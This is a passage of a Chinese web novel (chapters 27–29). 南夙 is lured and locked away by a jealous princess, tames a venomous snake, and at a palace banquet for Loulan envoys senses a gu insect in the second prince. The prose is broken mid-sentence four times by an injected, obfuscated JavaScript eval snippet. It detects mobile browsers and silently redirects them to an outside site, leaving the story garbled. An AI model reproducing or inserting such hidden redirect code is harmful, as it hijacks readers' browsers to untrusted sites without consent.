沈序一见她那慌乱的表情就知道那被堵住的狗洞是怎么回事了,他脑子里浮现出南夙一个人蹲在墙角,将衣服团吧团吧扒着狗洞往里塞的场景,不由得露出笑来。 但他没戳穿,只是摇摇头,说了句“没什么”,带着南夙往院子大门去了。 镇北侯府很大这件事,南夙是知道的,不然她也不会在大婚那日迷路,但她本人对此接受良好,虽然她从小生活在草野中,但沈疏毕竟贵为侯爷,侯府自然也家大业大。可没人告诉她,原来镇北侯府不止镇北侯府,府外,还有这么大一个鞠场。 南夙震惊看着眼前的鞠场,“这是你家的?” 沈序蹙眉,像是对她的这句话很不满意,他下意识便纠正,“是我们家的。” “哦对。”南夙反应过来,嘴角一咧,张开手臂如破茧的蝶一般飞进了鞠场,“这也是我家。” 等南夙差不多跑了一遍整个鞠场后,沈序才开口叫她过来。 “好了,过来吧。” 南夙拖着脚,跑得啪嗒啪嗒。 “怎么做?” 沈序先给她讲了规则,又亲手示范了一遍踢蹴鞠的姿势与要领。南夙就拿着蹴鞠自个儿玩去了。 对于踢蹴鞠这件事,南夙居然没有三天打鱼两天晒网。前两天刚学会时,都是沈序陪着她去,但沈序忙,每天也只能抽一点时间陪她来。后来南夙便拉着安雀和红雾来,安雀自小习武,体力好些,每日与南夙踢得你来我往;红雾虽然体力不行,但身为大景人,显然对于题蹴鞠这件事更有心得,因此虽然常常坐在廊下观看,但俨然化身成了俩人的师傅,每日指导。 再后来,南夙觉得两个人踢也没什么意思了,开始拉着府里的小厮和下人们来踢,今日拽伙房小厮,明日扯盥洗丫头,总算将这只队伍给组建了起来。 南夙的蹴鞠队每日踢得如火如荼,楼兰使者就在这样的日子里到达京城了。 楼兰使者入城那天,京城西市门户大开,迎接这些来自西域的朋友们。然而百姓们却不是对那些楼兰的皇室们感兴趣,真正让他们期待的,是跟着楼兰使臣们一同到来的那些商人。 楼兰地处西北,每年朝贡时总会带来许多中原所没有的东西,诸如玉石宝器、毛织品一类的稀奇物品层出不穷。每年这个时候,楼兰商人进城后,会在京城待上两三个月,直到将带来的货物卖完,再从中原买上些西域没有的商品,才会返程。 南夙早就听说楼兰使臣进京时的热闹场面,她也早于沈序说好,今日一定要带她去的,然而她却去不成了。 因为她陷入麻烦了,而沈序不知道。 她现在被锁在了一间屋子里。 这件事说来也古怪。半柱香前,突然有人给她送了封信。南夙接到信时很是疑惑,因为这封信并不是灵诏来的,她在这京城又无甚好友,谁会给她写信。况且就算有,让人传句话就行,何必特意写封信这么麻烦。 南夙觉得不对劲。 那她怎么还出现在这里了呢? 这就要归功于那封信的内容了。南夙打开信封,从里面抽出三张纸来。洋洋洒洒写了整整三张,晓之以理动之以情(其实是威胁)地告诉她,他们灵诏又丢了宝物,要是想拿回去,就自己一个人前去城东。 骗鬼呢? 南夙将信往旁边一扔,往榻上一躺,枕着手臂看了会天花板。 没一会,她又认命地爬了起来。算了,是真是假去看了才知道。毕竟有了上一次灵诏古籍被盗这个前车之鉴,南夙也不敢完全放下心来。 她看了下时辰,距离楼兰使臣入城还有一段时间,去的快一些的话还能赶上。于是半炷香后,她出现在了城东这间屋子里。 她在屋内走了两圈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156970|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确定这整个屋子里所有的门窗都被封紧,没有任何出口。 她也拿不准引她来的人的目的,只能谨慎行事,然而等了许久,无事发生。 南夙在屋内随意拉了个凳子坐着,眼看着时间一点点流逝,距离楼兰使臣进城没剩多少时间,她心想,要不一刀将门劈了吧。 这是个好主意。 然而不太好的是,南夙没带刀。 早知道就将沈序的刀带来了,南夙没主意了,捧着脸在原地惆怅,想来今天是看不到西市的热闹场景了。 她背对着房门坐着,没发觉此时的窗户被轻轻掀了个口子,外面伸进一只手来,往屋子里扔了不知什么东西。 那东西居然还是个活物,被一下子扔到地面,发出了声响,在地面上打成了卷儿。南夙这时候才听到声音,她一转身,与两颗黑豆子一样的眼睛对上视。 …… 蛇? 南夙惊讶。 还是条毒蛇? 南夙讶然。 她猛地起身,三两步走向地上那条终于解开自己的身体,此刻正盘在原地,撑着脑袋的白色小蛇。 那蛇可能没想到南夙不怕它就算了,居然还敢朝自己走来,它将南夙视为一种危险动物,正欲逃走,下一秒,被人一把捏住了七寸,接着整个身子离开了地面,与一双琥珀色的眼睛对视上。 南夙看了它一会,突然激动。 她伸手掰开那条白化短尾蝮的嘴,凑近看了看它的牙,两颗尖牙形状好看,只是左边那颗的尖牙处缺了一点,肉眼很难发现,南夙认真看了半天才发现。她的手指自尖牙抹过,停在那处。 她犹豫了一会,最终还是猛一用力,用尖牙将手指刺破,鲜血瞬间涌出,都滴入了蛇的口中。 好一会,直到那血都被蛇吞下去,南夙松开捏着它七寸的手。那蛇像是瞬间认识了她一般,没再逃,反而顺着南夙的手绕了上去,缠在她的手臂上,南夙动了动手,它听话地攀着往上爬,爬到南夙的脖颈上,顺着她的衣领滑进了衣服里,找了个舒适的地方蜷着了。 南夙感受着那条蛇冰凉的温度攀在自己身上,“喝了我的血就是我的蛇咯,给你取个名字吧。” 她想了一会,说:“就叫豆豆吧。” “好不好呀豆豆。”豆豆像听懂了一样,钻出她的衣领,顺着身体又缠回了她的手,非常听话。 南夙很惊讶在这里遇到蛇,她不知道这是不是引她来的那人对她的埋伏。不过就算是,那人也想错了,她身为西南蛊女,最是懂毒,这种埋伏对她毫无威胁。显然,此刻反而成全了她。 她又思考了一下自己最近有没有得罪什么人,得出的结论是,她向来是一个平易近人、和颜悦色之人,根本就不会得罪人! 那究竟是谁呢? 南夙觉得脑子疼,干脆不想了,兵来将挡水来土掩,没什么可担心的。再说能想出这么个主意来整她的,南夙觉得这人水平也不高,更没必要为此忧心了。 眼下最让她忧心的是,眼前这扇门她究竟该如何打开。 她试探着往前走了两步,走到门前,思考着自己一边拍门一边喊救命啊这个主意可不可行,但没等她想出个所以然,面前的门突然开了。 27.第 27 章 “沈序!” 面前大门突然打开,一个熟悉的身影正站在屋外,眉头蹙着,带着些南夙看不懂的情绪。 南夙却没在意太多,只高兴沈序能够找到她这件事。 她问:“你怎么知道我在这里?” 沈序迈步进屋,搭着南夙的肩膀前后左右上下看了看,南夙乖乖跟着他的力道转身。 见她没什么事,沈序放下心来,才回道:“看到了你扔在地上的信。” “还好我当时随手扔了。”南夙心大,听他这么一说,庆幸地点了点头。 对于被骗出府关在这里这件事南夙并没有太多的生气或是害怕。让她难过的,是错过了楼兰使臣入城的热闹,不过现在,这些难过又被遇到豆豆给弥补了。 她高兴地举起左手,凑到沈序眼前,“看。” 沈序这时才发现她手臂上缠着一条小白蛇,他仔细看了看,才发现是一条白化短尾蝮。 毒蛇啊。 沈序脸色一变,“哪来的?” 南夙却不以为意,甚至语气有些庆幸地说:“就在这屋子里发现的,应该是引我来的人放进来的。” 说完,她还将豆豆往沈序的手臂前一递,豆豆就立刻明白了她的意思,尾巴先勾住了沈序的手指,随后脑袋缠上他的手腕往前爬,卷上沈序的手臂去了。 豆豆感受到了南夙对沈序的亲近,所以也愿意亲近他。 “我刚给它取了个名字,叫做豆豆。”南夙手指逗弄着豆豆的脑袋,话是对沈序说的,却一直低头看着豆豆,以一种哄小孩的语气说,“可不可爱呀?” 沈序没回答,听了她的话,只觉一阵后怕,根据南夙说的,他大致也能拼凑出南夙在这段时间遇到了什么。可如果南夙不是灵诏人,不是从小就习毒,那今日她遇到这条蛇是不是就没有还手之力了。 他看着南夙那没心没肺的样子,既庆幸又生气,他第一次庆幸南夙生在西南,生在灵诏。而生气,他生气有人设计想害南夙,更生气自己,又一次没保护好南夙,但这些他都没告诉南夙,只是伸手去揉了揉她的头,“走吧,先回去。” 南夙乖乖跟在他身后出了门。他暗下决心,一定要找到送信之人。 他们俩并肩而行,肩膀离得很近。南夙走着走着,就感觉一阵冰冷的触感贴着自己,她低头一看,发现豆豆正伸着脑袋凑近自己。她一惊,忙伸手将它接过来。 沈序自然也感受到了她的动作,他低头来看,顺着南夙的动作将手伸了过去。 接过豆豆后,南夙想到这里是京城城市里,当街遛蛇怕是会吓到人,于是又将豆豆藏进衣袍里了。 “楼兰使臣都已经进城了吗?”做完这一切,南夙才抬头,看着沈序。 “这个时辰,应当已经进城往皇宫里去了。”沈序看了看天色。 “唉,果然。”南夙重重叹气,还是有少许的遗憾,不过她深知鱼和熊掌不可兼得的道理,安慰自己豆豆可比使臣们可爱多了。 沈序却话锋一转,“但是,如果你好奇的不是楼兰使臣而是来自楼兰的那些宝物美食的话,那西市此刻正是最热闹的时候呢。” “真的吗?”南夙又打起精神。 “当然。” “那我们去看看吧。” 于是二人一同往西市走去。 走到半路,南夙突然问:“使臣已经进宫了,你怎么不去?” 沈序:“使臣进宫又不是来见我,我去做什么?” 南夙一想也是,又问:“红雾说晚上还会有晚宴,你要去吗?” 这次沈序点了头,“陛下点了名让去。” 南夙也下意识点头表示知晓,却听沈序说:“你同我一道去。” “啊?我也要去吗?为什么?” 沈序扭过头冲她一笑,像是她这个问题多蠢似的,语气幽怨:“自然是作为世子妃应当做的。” 南夙了然。 “那参加宫宴我需要做什么?”南夙一脸认真的问。 沈序托着下巴思考,好似这是一个多么深奥的问题一样,好半晌才吐出一句,“好好吃饭。” “沈序!” 南夙气恼要动手打他,被沈序一个闪身避过,两大步跑到南夙前面。南夙来的兴趣,提步追他。 沈序只是逗她,跑了两步便放下速度来,让南夙追上他,狠狠给了他两拳,他方才满足。 而南夙大仇得报,十分大度地放过了他。 他们二人打打闹闹一路,终于到了西市。 西市果然如沈序说的一般热闹,南夙站在街角,望着比往常热闹了许多的市集,街边摊贩比往常多了许多,行人来回穿梭在集市间,大景人、楼兰人,眼下海有个灵诏人交叉在其间。 南夙发现,西市多了许多异族人的摊子,大多都支在两个大景摊贩的中间。虽然相貌与民族不同,但站在一起,却很是和谐。 “真的好热闹啊。” 南夙从没见过如此热闹的场景,就是上元节那日的景象也多有不及。 她立刻就如扑花的蝴蝶飞走了。 沈序随她去了,只是落后半步始终落后半步跟在她身后,确保南夙在他视线里。这样的场景多么眼熟。沈序想起南夙初到京城,那时他对她多有猜忌,便处处盯着她。上元节那日他也知晓南夙要去枕月楼,却假装没看住人,让人遛了。没想到短短几个月,他还是跟在南夙身后看着她,却不敢再让人脱离自己的视线了。 他想不清自己是从哪一刻开始处处担心南夙,明明一开始,他只是想扮好一个丈夫的角色而已。 怎么突然就对南夙的一切风声鹤唳了呢? 南夙在市集里飞了许久,直到日薄西山,宫宴的时辰快到了,沈序才叫住她。南夙回头,见沈序两只手拎满了东西,她不好意思地伸手想她这一路的战利品,沈序却躲了手,没让南夙拿。 “不用。”他轻声说,“晚上还要去宫宴,今日就逛到这里吧,明日再来。” 南夙一看时辰,意识到自己已经逛了许久,又听沈序说了明日再来,点点头,二人一同回府去了。 回府沐浴更衣毕,又一齐进了宫。今日,饱受南夙蹴鞠摧残的安雀红雾浑身肌肉终于缓过劲来,陪同南夙她们一同进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162521|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了宫去。 鸿胪寺的钟敲到第三十六下时,太极宫东西两廊的六百盏莲灯一齐亮了。 楼兰使臣的脚步停在丹陛下。打头的一人抬头,看的却不是殿上的天子,而是殿脊。琉璃色的屋脊后,甲士的铠甲鳞纹反射着灯火的光。 他低头,解下腰间的佩刀,双手托过头顶,一人上前来接过他手中的刀。他身后跟着的一概人也跟着解下自己的武器,交予一旁的人。 “楼兰小王臣阿那,奉单于命,朝见大景皇帝山陵,问圣天子安。”使臣嗓音粗粝,像裹了沙。 他身旁站着一位女子,身量很高,虽站在陛下,却站得很直,腰间别一根鞭子,头发似男子一般高高束起。 鸿胪寺卿在殿外传话,“楼兰质子阿那,奉单于命,朝见天子。” “宣。”天子话音不重,殿角金钲嗡然一响,四门洞开。 使臣入内,跪拜天子,将朝贡一一报上。皇帝赐坐,众人一一入座。 南夙和沈序坐在殿中一侧,自使臣入殿后,南夙第一眼就看到了现在阿那身旁的那位女子,她穿着普通,但气质却冷冽” ,南夙又瞥见她腰间的鞭子,那鞭子选料精良,工艺考究,应当不是寻常护卫能用得起的。 正巧,那女子落座就在南夙的对面。 她好奇地望了那女子几眼,她以为自己的动作很小心,没人会发现,直到身侧的沈序杵了一下她。 “怎么了?”她回过神来,问沈序。 沈序贴近她的耳朵,“在看什么?” “那个人是谁?”她说的正是那位女子。 沈序沿着她的视线看了一眼,“楼兰昆弥,弥雅娜。” “楼兰国的公主?”南夙小声问他,“那她刚刚怎么不说话?” “陛下知道。” “怎么说?”这一说,南夙更好奇了。陛下知道她的身份,却允她殿前不跪,她是做了什么吗?” 南夙没想出什么结果,沈序便替她解惑了,“前年与北狄的战争中她恰好经过,带兵助大景打下一城,最重要的是救了大皇子一命,陛下听说后大喜,便让她此次进京,允她见天子不跪。” 原来是这样。 南夙了然,收回视线,没再看弥雅娜。 这时。殿外突然传来声响,鸿胪寺卿报:“二皇子到——” 众人都往殿外看去,那人身着身绛纱衣袍,款款而来,他身形颀长,走进殿中时,眼神轻轻往上一挑,掠过殿中的人,随后,他走至殿前,向陛下行礼后落座。 他全程优雅而从容,让许多人侧目而视。 然而南夙却没有心情。因为从有人报二皇子到时,南夙体内的圣蛊便突然有了反应,十九蛊被她用力压制才没想出声来,而她眼中的银线却压制不住,自她眼中来回游动了几次。 她吃惊的望向走进来那人,最先引入眼帘的,是他那腰间挂着的,似曾相识的锦囊,不知是不是被保护得好,那原本就模糊不清的木槿花如今依然辨得出模样。 “沈序。” 南夙收回视线,难耐地手忽地抓上沈序在一旁的手臂。 28.第 28 章 说起圣蛊,南夙最先想到的那个人,是诏父。 阿姎在世时,曾经多次提起过,想将南夙送往乡下生活,但每一次都不了了之。后来阿姎被命蛊反噬去世,死状惨烈。诏父大受刺激,很长一段时间神志变得不清晰起来,就是那段时间,诏父常常盯着南夙那双琉璃绿的眼睛说:“琉璃现,诅咒生。你就是害死忧儿的凶手。” 于是南夙知道了,她是害死阿姎的罪魁祸首。 忧儿就是南夙的阿姎,她叫做南忧,而南夙自出生起就是随母姓。 后来过了一段日子,诏父才慢慢恢复了一些神志,而他有了意识的第一件事,就是向南夙道歉,说自己这些时间只是在胡言乱语,让南夙不要相信。 诏父说,阿姎的死是因为她的命蛊染上了毒,阿姎控制不了她,所以被反噬。因此他要给南夙种一枚世间最强的蛊——圣蛊。于是六岁那年,南夙成为了灵诏最小的命蛊获得者,那是诏父亲手给她种的蛊。 为保证命蛊与本人能够和谐共生,灵诏人的命蛊都是自己学会蛊术之后,外出历练寻到合适的蛊体后亲自用身体炼的,而一般灵诏人学会练蛊的年岁,多在十岁左右。唯独南夙不一样,圣蛊不是她亲手所炼,可却意外的与她的身体血液融合极好,好似天生就是为她炼的。 南夙喜欢这枚蛊,因为它是诏父亲手给自己种的;可她也厌恶这枚蛊,因为这枚蛊,是阿姎的死刺激诏父炼的。 虽然诏父清醒后亲口告诉南夙自己说的那些话都是假的,可南夙却始终觉得,那只是诏父哄她的说辞罢了,恐怕事实是,她就是那厄运。 诏父给南夙种下圣蛊后,没几月,便将南夙送往乡下交给嬷嬷管教去了,理由是:送南夙离开是南忧生前的愿望,他有心完成爱妻的遗愿。 南夙也是,所以她毫不反抗地走了,卷着她在宫内的一切,包括她的身份,义无反顾地离开了这里。 她走后,圣蛊一天天在她的体内扎根,建起巢穴,最终完全与她的生命融合在一起。 南夙第一次发现圣蛊对别的蛊有反应,是她九岁那年,姑姑第一次带她出了门,她们连同安雀一起,第一次去赶集。那时南夙对蛊的感知距离还没有现在这么远。第一次出门,小南夙很是兴奋,在集市上来回飞舞,却在进一拐角处时,没发现对向来的人,闪躲不急与人撞在了一起。 “啊!” 一阵钻心的痛传来,转瞬便洞穿南夙全身。她不可忍耐地尖叫出声,仿佛遭受了什么剧烈的痛楚。 而被她撞到的那人看着她躺着路上,一手捂着心脏,脸色痛苦的模样,有些莫名其妙。因为他们俩相撞的力度并不大,两人都及时躲开了身子,只是轻微碰到了一下肩膀。 所以南夙此刻的模样,活脱脱像一个碰瓷的。 那人不耐,正欲动手拉扯南夙,却被在身后赶来的姑姑一把推开。南夙清晰地记得,那时姑姑双手托起自己,将自己抱进了怀里。 南夙感受到被人抱起,努力地想睁开眼睛,但剧烈的疼痛几乎让她失去所有力量,最终,她只匆匆看到一眼姑姑心疼的表情便晕死过去。 再醒来,她已没有任何疼痛的感受。直到她起身下床时,一阵似铃铛声又不像铃铛的声音响起,南夙顺着声音望去,发现脚踝上被系了一支铜铃。 姑姑告诉她,圣蛊是灵诏最强的蛊,能够感应、压制其它的蛊虫。只要宿主的身体能够承受,实力够强,便能依靠圣蛊操控别人。但想要达到这个境界也并非那么容易,圣蛊一旦种下,便会栖身在宿主身体中,待到与宿主血肉相融后,才会开始展现出它的能力。 比如今天南夙之所以会疼痛晕倒,就是因为触碰到了其他蛊体,感受到了蛊虫的存在,两种蛊虫的力量相悖,圣蛊本应压制住那人体内的蛊,可南夙年岁尚小,功夫不深,没法压制住体内的圣蛊的反应,圣蛊一活跃,南夙的□□便承受不住,晕了过去。 姑姑还说,圣蛊对其它蛊虫的感知能力会随着南夙年岁与实力的提升而与日俱增。她担心南夙日后碰到一些更为强大的蛊时压制不住还还像今天一下直接晕死过去,便给了南夙铜铃十九蛊,并喂了它们喝下了南夙的血,从此,铜铃十九蛊就如圣蛊一般,能够在南夙遇到强蛊时替她分担疼痛。 南夙那时才知晓,自己体内养着的是怎样一个危险的蛊虫,可圣蛊是灵诏最强的蛊,南夙没法像给醉春楼的女子们换蛊那样,将圣蛊换走,于是她只能不断地提升自己的实力,还有,承受痛苦的能力。 她开始主动去接近灵诏人,试探着用圣蛊去压制别人体内的蛊。三个月后,她成功了。随着她实力的提升,圣蛊对别的蛊虫的反应越来越激烈,能感知的范围也越来越远,但南夙却毫无反应了,因为她适应了走在人群中,与每个人体内的命蛊擦肩而过时,圣蛊在体内横冲直撞的感觉。 后来又过了好些日子,或许是圣蛊也意识到了不能光靠小主人一个人进步,于是慢慢的,圣蛊就看不上那些普通的蛊了,也不再对此类蛊有反应,南夙穿行在石语镇的每一个角落,再也不怕遇到人了。 但她也仅仅只是适应了普通人的蛊,若是碰上一些实力尚佳的人,圣蛊往往会躁动起来,扰得南夙难耐。到现在,南夙仍然能感知到蛊虫,只是十年如一日的相处让她适应了圣蛊躁动时的一切,她的身体出现疼痛的反应只会在感知到力量很强的蛊虫时,比如杭州城外那名妇人体内的炼骨蛊。 姑姑自小教她炼蛊,南夙没有炼出自己的命蛊,但仍想炼出一枚属于自己的、真正的命蛊。不是诏父因阿姎的死而炼出的圣蛊,也不是姑姑为了保护她而给她系上的十九蛊,而是她自己身体里养的、炼出来的,属于她自己的命蛊。 于是她眼中的银疑便出现了。银疑原本并不像圣蛊一样能够感知与压制其它的蛊,但不知是不是与圣蛊长期待在南夙的体内,受了圣蛊的影响,这些年再遇到别的蛊虫时也开始游动起来。 南夙眼中那缕银丝躁动不安,在南夙眼下来回游荡着。 她方才下意识便将手搭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173615|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了沈序的手臂,但爪子刚一放下,她便心道莽撞了。 那枚陌生的蛊虫来自这位姗姗来迟的二皇子韩世衡,他是大景的二皇子,是大景皇帝最宠爱的皇子,不是普通百姓。若是让大景人知晓他们大景的二皇子被人种了蛊,他们会最先怀疑谁? 灵诏是这些蛊虫的来处,而她南夙,是灵诏的公主,在她来到京城的这段时间,已经有无数的人死于苗蛊。南夙不知道是谁给韩世衡下的蛊,她也不敢赌,如果甘肃沈序此事与灵诏无关,沈序会相信吗? 南夙同样不敢赌。 于是在沈序感受到南夙搭在他手臂上的手转过头看她时,她已经调整好了状态,将眼中银疑也如十九蛊一般压下,脸色有些苍白。 沈序看出她的不适,伸手摸了摸南夙的手,很凉。 “怎么回事?”他言语中藏不住担忧。 南夙对上他的视线,“没事,不太舒服。” “方才不是还好好的,怎么突然不舒服?”沈序说着一只手感受了一下南夙额头的温度。 南夙没动,乖乖等着他的动作,直到沈序将手收回,她才解释道:“圣蛊突然有点躁动,可能是喝了酒的原因。” 沈序想问喝酒怎么会让圣蛊躁动,可南夙脸色实在不好,他便没有开口。 宴会上吵闹,担心南夙不舒服,沈序便先带着她回府了。 南夙回了院子倒头就睡,没给任何人询问的机会,就连一直站在她身后,看出她是圣蛊发作的安雀都没得到机会问一问南夙。 安雀与红雾在殿上一直站在南夙沈序的身后,因此南夙一有反应,安雀便发现了,只是宴会上人多眼杂,安雀不敢轻举妄动,后来见小姐对世子爷隐瞒了这件事,安雀更明自己应当闭嘴了。 南夙这一睡,就直接睡到了第二日。 她好像在做梦,一阵细碎的窸窣,冰凉的触感游过脚踝的皮肤,缓缓往小腿里爬。南夙惊起一身鸡皮疙瘩,感觉这触感是如此真实,她缓缓睁眼,与正从她衣领处钻出的豆豆四目相对。 …… 一时无言。 南夙刚睡醒还没反应过来,直到豆豆突然吐着蛇信子刮过南夙的下巴,温热的触感将南夙唤醒,她坐起身来,将豆豆从衣领里掏出来,将它盘在腰上任它玩,然后坐在床上回忆昨晚的事。 昨夜宫宴上,她在二皇子的体内感受到了蛊虫的存在。 这件事必须要查清楚,若是二皇子出了什么事,被查出来蛊虫,灵诏定脱不了干系。 她唤来安雀,让她给戈辞姐姐传了个信,查查二皇子近日去了何处,不,是正月初五日后都去了哪些地方。 分明上一次见到他时,二皇子还没有被下蛊。 南夙思忖了一会,打算跟着二皇子几天,好好查查他体内的蛊是什么蛊,会不会害人。 若是此蛊也是战蛊…… 上一次的那个神医死了,南夙亲眼看见他坠了江。 究竟是谁在利用灵诏蛊术残害大景百姓。 29.第 29 章 安雀刚出门,沈序便来了。 他推开房门,正好与听到声响回头的南夙对上视线,走到她身侧坐下。 “好些没有?”他轻声问。 南夙点头,“已经没事了。” “给你送信的人找到了。”沈序见她脸色已经恢复了正常,精神头也不错,才又说起其它事。 昨日在西市回来后他便让人去查给南夙送信之人,那人手段不怎样,手下人也胆小,沈序的人刚找上门便老实交代了。 “这么快?”昨日沈序是当着她的面让人去查的,所以南夙也知道,但她着实没想到这么快就能查到。 她问:“是谁?” “韩颖。” 安宁郡主? 南夙了然,这是报复她来了,那豆豆也是她让人放的? 南夙觉得不会,她虽然只见过韩颖一面,却能感受到,韩颖只是那种会仗势欺人之人,但凭她当时的行为来看,韩颖做不出这种事,她没这个胆子。 “你能让我见见她吗?” 既然不确定,那就直接去问问好了。 “见她做什么?” “有点事想问她。”南夙看着沈序,“凭你对她的了解,你觉得她会是放蛇之人吗?” 沈序面无表情:“我并不了解她。” “哎呀,我不是那个意思,我知道你不喜欢她。”南夙拍拍他的手,“但是不管怎么样,你肯定比我了解吧。” 沈序正色,这才回答她方才的问题,“我觉得不是,她胆子没那么大。” 南夙赞同点点头,“我也觉得她不像,豆豆的族群不生活在京城,又是剧毒蛇,退一步说,哪怕她能找人抓到豆豆,也要又胆子让人靠豆豆杀我。” 她说这话时语气平静,好像经历这些的不是她,她只是在分析一项旁人的案情一样。 她思忖了一会,越想越觉得不会是韩颖。 纵然韩颖身为郡主,从小娇惯养大,性子娇纵些。但也正因为她贵为郡主,应当知晓南夙如果死了对大景与灵诏两国之间的影响。 所以她不敢。 为了解开疑惑,他们二人立刻动身前去拜访睿亲王府。 韩颖听下人说世子与世子妃来访时心下一震,不免心虚起来。 她知晓自己做了什么事,却拿不准沈序他们来找她的目的。那帮人明明说事情做得很隐蔽,韩颖想到那些人说的话,定了定心,出门迎了二人。 一并将厅上的下人都赶了下去。 南夙见到她后也没跟她叙旧,直入主题,问她昨日有没有让人往屋子里扔过蛇。韩颖没想到她一点也不掩饰,上来就直接问她,她自然是不会承认的,装模作样地问南夙再说什么? 这就让人讨厌了。 南夙坐下来跟她讲道理,“我也不是要找你的麻烦,我就是问你点事,郡主配合一下?” 韩颖虽然心虚,但对南夙的态度很不满意,想发作又顾虑沈序在一旁。她只好牵牵嘴角,尽量露出个好看的笑,但还是说不知道南夙在说什么? 沈序适时开口,将昨日查到之人带了上来,那人被沈序的人抓着衣领,一把扔进大厅,顺着力跪倒在韩颖面前,那人颤颤巍巍抬头,正与内心七上八下的韩颖对上视线。 韩颖慌乱移开视线,南夙问:“郡主还不承认吗?” 证人都在场了,韩颖知晓自己再怎么狡辩也没用,于是破罐子破摔地承认了是自己让人给南夙送了信引南夙出门。 “但是我只是想教训一下你,让你吃点苦头。”韩颖说道。 南夙:“所以你就让人往屋子里扔蛇?” “什么蛇?”韩颖疑惑抬头。 果然。 南夙一看她的表情就知道她没撒谎,她只是想试探一下韩颖。 人在做了亏心事时总会与自己有关的话格外敏感,方才南夙有意无意提到过蛇几次,但韩颖都没有注意到,直到南夙直接提出,她才疑惑给出反应。虽然南夙觉得韩颖没那么好的演技,但为了避免她的慧眼失明,她还是将豆豆从怀里掏出来,递到韩颖的面前去了。 “蛇!” 韩颖简直要从凳子上跳起来,她身子后仰,偏头闭着眼睛,不敢看南夙手里的蛇。 南夙见她反应那么大,忙收回手来,豆豆乖巧地盘着她的手,南夙觉得心软软,又看了眼缩在椅子上的韩颖,莫名觉得有点不好意思。 “抱歉啊。”南夙将豆豆装进腰间的袋子里,“不是故意要吓你,只是想让你看看这条蛇你认不认识。” 韩颖见她将蛇收了回去才敢起身,她正经地坐直身体,两只手梳着垂在左边肩膀的头发,半晌,她正了正色,又恢复了那讨人厌的高傲嘴脸。 义正言辞地说道:“虽然我确实找人将你引了出去,但是我不会恶毒到要放蛇去对付你。” 南夙:“……” 难道把我引出去将我关起来这件事就很光彩吗? 得到答案,南夙不想多留,起身想走,沈序自然是跟着她一起走的,但他刚起身,韩颖也跟着站起来,让沈序多坐坐。 南夙站在一边等他的答案。 沈序要是留下,她就一刀砍了他。 当然,沈序是不可能留下的,他本来也没这个想法,不经意看见南夙在一边审视的眼神,他心中莫名有种满意。 他轻乜了眼韩颖,毫无波澜地说:“不敢叨扰郡主,还请郡主日后省身,切莫再做出害人之事。” 随后,他走到南夙身侧,微弯了下腰,牵住了南夙的手。 沈序不知是不是身体太好的缘故,手常年都是热的,温热的触感贴上南夙的手心,她一惊,抬头望向沈序。 “我们走吧。”沈序没有移开视线,南夙那双瞪大琥珀色的眸子在他眼中停留了不知几秒,他手中也感受着南夙手心的温度,“夫人。” 南夙呆滞着随着他的力道向前走了两步才反应过来,知晓沈序是想做戏给韩颖看,于是她配合着没有甩开沈序的手。 她清晰地感知到沈序牵着她的手时,那双手的温度从她的手指渡向她的全身。她胸口发烫,跳得很快,手指不自然动了一下,仿佛抹到了沈序手中常年我刀留下的茧。 沈序的手怎么这么硬。 南夙心想。 自己一定是病了,要不就是圣蛊不听话,不然自己怎么会突然如此躁动呢?那股说不清道不明的情绪像一股不讲道理的气在她体内横冲直撞,南夙却不知道那是什么,也不知道这感受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176606|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从何而来,是何意义。 直到出了亲王府上了马车,沈序才松开抓着南夙的手。南夙刚感觉到沈序的手指松开,就立马收回了手。 沈序看了她通红的脸一眼,知晓她是害羞了。 他正想开口揶揄她怎么这么容易害羞,还是个小孩吗?才想起来,南夙才不到十六岁,她确实,尚且年幼。 于是他收回了将要吐出的话,转而换了话题,“豆豆的事你有什么怀疑对象吗?” 他说了话,自上车便呆愣着的南夙才反应过来,她将那些奇怪的情绪都抛开,思量了一会,摇摇头。 “没有。”她说,“我入城后兵未与太多人有过交往,我想不到有谁会对我下杀手。” 